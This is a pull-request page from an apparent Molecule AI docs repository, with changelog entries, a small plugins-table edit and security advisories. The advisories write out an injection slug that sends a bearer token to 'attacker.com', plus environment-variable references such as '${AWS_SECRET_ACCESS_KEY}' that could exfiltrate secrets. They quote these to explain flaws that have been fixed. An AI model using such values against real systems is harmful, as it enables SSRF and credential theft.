fix(docs): remove stale 'coming soon' stub from plugins.mdx MCP server entry #47

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documentation-specialist wants to merge 7 commits from fix/plugins-mcp-stub-coming-soon into main
3 changed files with 105 additions and 1 deletions
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---
## 2026-05-15
### ✨ New features
- **Self-hosted workspace Docker deployment guide**: a new [Self-hosted workspace with Docker](/docs/self-hosting) tutorial covers end-to-end deployment of a Molecule AI workspace using Docker — including image pulling, environment configuration, volume mounts, and health-check verification. Replaces the fragmentary "coming soon" placeholder that had been in the self-hosting section. (`docs` [#40](https://git.moleculesai.app/molecule-ai/docs/pulls/40))
- **`dev-channels` flag requirement documented**: a new [dev-channels flag reference page](/docs/runtime-mcp/dev-channels-flag) explains why Claude Code 2.1.x+ requires `--dangerously-load-development-channels server:molecule` (the tagged allowlist form, not the bare `--dangerously-skip-ipc-lockfile` flag) for inline channel push from the molecule MCP wheel. Covers the three-layer failure mode when the bare flag is used and how the tagged form resolves it. (`docs` [#30](https://git.moleculesai.app/molecule-ai/docs/pulls/30))
### 🔧 Fixes
- **MCP HTTP/SSE transport gap-fill**: `content/docs/mcp-server.mdx` updated with a Transport modes section documenting stdio (Claude Code / Cursor) vs HTTP/SSE (remote / headless agents) operation, SSE heartbeat behaviour (`data: null` every 30s on idle connections), and a troubleshooting entry for "Port already in use". The environment variables table now includes `MCP_SERVER_PORT` (default 3000) and `MOLECULE_API_KEY`; `.mcp.json` examples now show `MOLECULE_API_KEY` for both self-hosted and SaaS configurations. (`docs` [#44](https://git.moleculesai.app/molecule-ai/docs/pulls/44))
- **Remote workspaces graceful shutdown**: `run_heartbeat_loop()` and `run_agent_loop()` in the workspace runtime now accept a `threading.Event` (`stop_event` parameter). Setting the event causes the loop to exit cleanly and return `"stopped"` — enabling graceful SIGTERM, Kubernetes, and Docker shutdown for remote agents. The quick-start code example in `content/docs/guides/remote-workspaces.md` has been updated with a SIGTERM handler. (`docs` [#29](https://git.moleculesai.app/molecule-ai/docs/pulls/29))
- **`PLATFORM_URL` default corrected across docs**: `http://platform:8080` (unreachable inside Docker) replaced with `http://host.docker.internal:8080` in `workspace-runtime.md`, `molecule-technical-doc.md`, and `local-development.md`, matching the corrected runtime default. (`docs` [#32](https://git.moleculesai.app/molecule-ai/docs/pulls/32))
### 🔒 Security
- **OFFSEC-006 advisory published: tenant-slug SSRF + token exfiltration**: a new [security advisory](/docs/security/offsec-006-slug-ssrf-advisory) documents the HIGH-severity CWE-918 SSRF and bearer-token exfiltration vulnerability in `scripts/promote-tenant-image.sh` (molecule-core [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933), merged 2026-05-14). Tenant slugs were interpolated into URL paths without validation; a malicious slug like `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host and expose the platform bearer token in attacker logs. Fix adds `set -f` to disable glob expansion and `validate_slug()` with RFC-1123 regex before any network call. Self-hosted operators must upgrade. Advisory also added to the [Security Changelog](/docs/security/changelog). (`docs` [#41](https://git.moleculesai.app/molecule-ai/docs/pulls/41))
- **CWE-22 path traversal regression advisory added**: the [Security Changelog](/docs/security/changelog) has been updated with the CWE-22 path traversal regression in `org_import.go` (molecule-core [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/810), merged 2026-05-13). A regression removed the `resolveInsideRoot` guard from `createWorkspaceTree`; the fix restores it via `loadWorkspaceEnv`. (`docs` [#31](https://git.moleculesai.app/molecule-ai/docs/pulls/31))
### 🧹 Internal
- **SOP checklist merge gate added to docs CI**: the [SOP checklist merge gate](/.gitea/workflows/sop-checklist-gate.yml) is now installed in the docs repo, requiring PR authors to complete a 7-item checklist and receive peer `/sop-ack` comments before merging. (`docs` [#27](https://git.moleculesai.app/molecule-ai/docs/pulls/27))
- **Changelog structural fixes**: duplicate `## 2026-05-10` section removed and `## 2026-04-23` repositioned to its correct chronological position; daily changelog entries for 2026-05-13 aggregated across all org PRs. (`docs` [#28](https://git.moleculesai.app/molecule-ai/docs/pulls/28), [#37](https://git.moleculesai.app/molecule-ai/docs/pulls/37), [#36](https://git.moleculesai.app/molecule-ai/docs/pulls/36), [#33](https://git.moleculesai.app/molecule-ai/docs/pulls/33))
---
## 2026-05-14
### 🔒 Security
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
### 🐛 Bug fixes
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
### 🧹 Internal
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
---
## 2026-05-12
### 🔒 Security
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@@ -35,7 +35,7 @@ runtime.
| Shape | Description |
|-------|-------------|
| agentskills.io format | `SKILL.md` + optional scripts, hooks, and `plugin.yaml` manifest |
| MCP server | Model Context Protocol server (coming soon for more runtimes) |
| MCP server | Model Context Protocol server — works with any MCP-compatible AI agent (Claude Code, Cursor, etc.). See the [MCP Server guide](/docs/mcp-server) for setup and available tools. |
The shape is orthogonal to the source. A `github://` plugin and a `local://`
plugin can both be agentskills.io format. The per-runtime adapter inside the
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---
## 2026-05-14 — CWE-918 + CWE-20: Tenant-Slug SSRF and Bearer-Token Exfiltration in `promote-tenant-image.sh`
**Severity:** High (CWE-918 SSRF + CWE-20 Improper Input Validation)
**PR:** [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933)
**Affected:** `scripts/promote-tenant-image.sh`
**SaaS impact:** None — platform applies the fix server-side
### Vulnerability
`promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR repository identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could cause the platform to redirect HTTP calls to an attacker-controlled host (SSRF) and expose the platform's bearer token in the attacker's server access logs via the same URL parameter injection.
Bash glob metacharacters (`*`, `?`, `[`) in slug values were subject to pathname expansion before being passed to curl, adding a secondary injection vector: a slug like `evil?url=https://attacker.com` would expand to a list of filenames before being interpolated into the URL.
### Fix
Two-layer defence applied to `promote-tenant-image.sh`:
1. **`set -f`** (script top): disables glob expansion, so `*`, `?`, and `[` are treated as literal characters.
2. **`validate_slug()`**: new function using RFC-1123 regex (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`). Invalid slugs are rejected with exit code 64 before any network call is issued. Additionally, `validate_tenants()` is called after argument parsing and exits 64 on any tenant with an invalid slug.
### User-facing summary
Self-hosted operators must upgrade to the latest `molecule-core` build to include this fix. Tenant slugs are now validated against RFC-1123 before any network call. Slugs containing `?`, `#`, `&`, `$`, `/`, `\`, or spaces are rejected. If you cannot upgrade immediately, audit all tenant slugs and rename any containing these characters.
---
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
**Severity:** Critical (CWE-78)
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
**Affected:** `workspace-server/internal/handlers/org_helpers.go``expandWithEnv`
### Vulnerability
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
### Fix
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
```go
c := key[0]
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
return "$" + key // not a valid shell identifier — return literally
}
```
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
### User-facing summary
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
---
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
**Severity:** High (CWE-22)